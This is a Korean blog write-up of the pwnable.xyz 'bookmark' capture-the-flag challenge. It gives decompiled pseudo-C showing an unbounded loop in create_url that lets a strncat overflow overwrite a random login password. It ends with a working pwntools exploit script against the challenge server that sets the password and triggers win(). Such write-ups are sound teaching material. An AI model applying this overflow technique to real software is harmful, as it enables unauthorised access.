🗂️ INDEX

글 작성자: Universe7202

pwnable.xyz 24번째 문제 bookmark 이다.

 

 


Analyze

해당 바이너리의 사용자 정의 함수는 아래와 같다.

ubuntu:~/environment/ctf/pwnable.xyz/24_bookmark $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
create_url
handler
init_login
main
print_menu
read_long
setup
win

 

gdb로 분석하여 c로 나타내면 다음과 같다.

#include <stdio.h>

void init_login(){
    int fd = open("/dev/urandom");
    
    if(fd == -1){
        exit(1);
    }
    
    read(fd, bm+256, 0x8);
    close(fd);
}

void print_menu(){
    printf("Menu:\n  1. Login\n  2. Create url\n  3. Print url\n  4. Save url\n  0. Exit\n> ");
}

unsigned long read_long(){
    char tmp[32] = {0,};
    
    read(0, tmp, 0x20); // rbp-0x30
    /*
    
    gdb-peda$ x/16gx $rbp-0x30
    0x7fffffffe4f0: 0x0000000000000000      0x0000000000000000
    0x7fffffffe500: 0x0000000000000000      0x0000000000000000
    0x7fffffffe510: 0x00007fffffffe540      0x4a8fc60495bd4b00 => canary
    0x7fffffffe520: 0x00007fffffffe540->sfp 0x0000555555554d6e => ret
    
    */
    
    return strtoul(tmp, 0, 0);
}

void create_url(){
    printf("Secure or insecure: ");
    read(0, bm, 0x9);
    // http:// https://
    
    if(strncmp(bm, "http", 0x4) != 0){
        puts("Not a valid URL.");
    }
    else{
        if(*(bm+4) == 's'){
            long tmp1 = bm+5;   // rbp-0x10
        }
        else{
            long tmp1 = bm+4;
        }
        
        for(;;tmp1++){
            if((char)(tmp1) == ':'){
                continue;
            }
            if((char)(tmp1) == '/'){
                continue;
            }
            break;
        }
        
        (char)(tmp1) = 0;
        printf("Size of url: ");
        int num = read_long();  // rbp-0x14
        
        if(0 < num && nun <= 127){
            int *address = malloc(num); // rbp-0x8
            read(0, *address, num);
            strncat(bm, *address, 0x100);
        }
        else{
            puts("Too large.");
            return;
        }
    }
}


int main(){
    init_login();
    
    puts("Web bookmarks.");
    while(1){
        print_menu();
    
        int select = read_long();   // rbp-0xc
        
        if(select > 4){
            puts("Invalid");
        }
        else{
            /*
                gdb-peda$ x/4gx 0x555555554fd8
                0x555555554fd8: 0xfffffdd1 fffffdc7      0xfffffe0d fffffe06
                0x555555554fe8: 0x3b031b01 fffffe27      0x0000000d00000070
            */
            
            int tmp = *(0x555555554fd8)[select*4];
            ((long)(tmp) + 0x555555554fd8)();
            
            // if select == 0 0x0000555555554d9f
            break;
            
            // if select == 1   0x555555554da9
            printf("Password: ");
            long ps = read_long();
            
            if(ps == *(bm+256)){
                *(bm+264) = 1;
            }
            
            // if select == 2   0x555555554dde
            create_url();
            
            // if select == 3   0x555555554de5
            printf("url: %s\n", bm);
            
            // if select == 4   0x555555554dff
            if(*(bm+264) == 1){
                puts("Not Implemented.");
                puts("But here is a reward.");
                win();
            }
        }
    }
}

 

 

이번 문제는 코드를 잘 해석하면 풀 수 있는 문제이다.

create_url() 함수에서 로직 에러가 발생하는데,

17 ~ 24번째 줄에서 로직 에러가 발생하게 된다.

 

사용자가 입력한 값에서 : 이나 / 값이 있으면 계속 다음 문자를 검사한다.

이때 범위를 지정하지 않아 문제가 발생하게 된다.

void create_url(){
    printf("Secure or insecure: ");
    read(0, bm, 0x9);
    // http:// https://
    
    if(strncmp(bm, "http", 0x4) != 0){
        puts("Not a valid URL.");
    }
    else{
        if(*(bm+4) == 's'){
            long tmp1 = bm+5;   // rbp-0x10
        }
        else{
            long tmp1 = bm+4;
        }
        
        for(;;tmp1++){
            if((char)(tmp1) == ':'){
                continue;
            }
            if((char)(tmp1) == '/'){
                continue;
            }
            break;
        }
        
        (char)(tmp1) = 0;
        printf("Size of url: ");
        int num = read_long();  // rbp-0x14
        
        if(0 < num && nun <= 127){
            int *address = malloc(num); // rbp-0x8
            read(0, *address, num);
            strncat(bm, *address, 0x100);
        }
        else{
            puts("Too large.");
            return;
        }
    }
}

 

 

따라서 공격자가 원하는 만큼 Overwrite가 가능하게 된다.

랜덤값을 공격자가 원하는 값으로 변조하여 Flag를 획득 할 수 있다.

 

 


Payload

from pwn import *



# p = process("./challenge")
p = remote("svc.pwnable.xyz", 30021)


p.sendlineafter("> ", "2")
p.sendafter(": ", "http:::::")
p.sendlineafter("Size of url: ", "127")
p.sendline(":" * 126)

p.sendlineafter("> ", "2")
p.sendafter(": ", "http")
p.sendlineafter("Size of url: ", "127")
p.send(":" * 121)

p.sendlineafter("> ", "2")
p.sendafter(": ", "http")
p.sendlineafter("Size of url: ", "8")
p.send(p64(0xffffffffffffffff))

p.sendlineafter("> ", "1")
p.sendlineafter(": ", "-1")

p.sendlineafter("> ", "4")

p.interactive()

 

'🚩CTF' 카테고리의 다른 글

[pwnable.xyz] message write up  (0) 2020.02.25
[pwnable.xyz] rwsr write up  (0) 2020.02.25
[pwnable.xyz] uaf write up  (0) 2020.02.21
[pwnable.xyz] fspoo write up  (0) 2020.02.21
[pwnable.xyz] Game write up  (0) 2020.02.15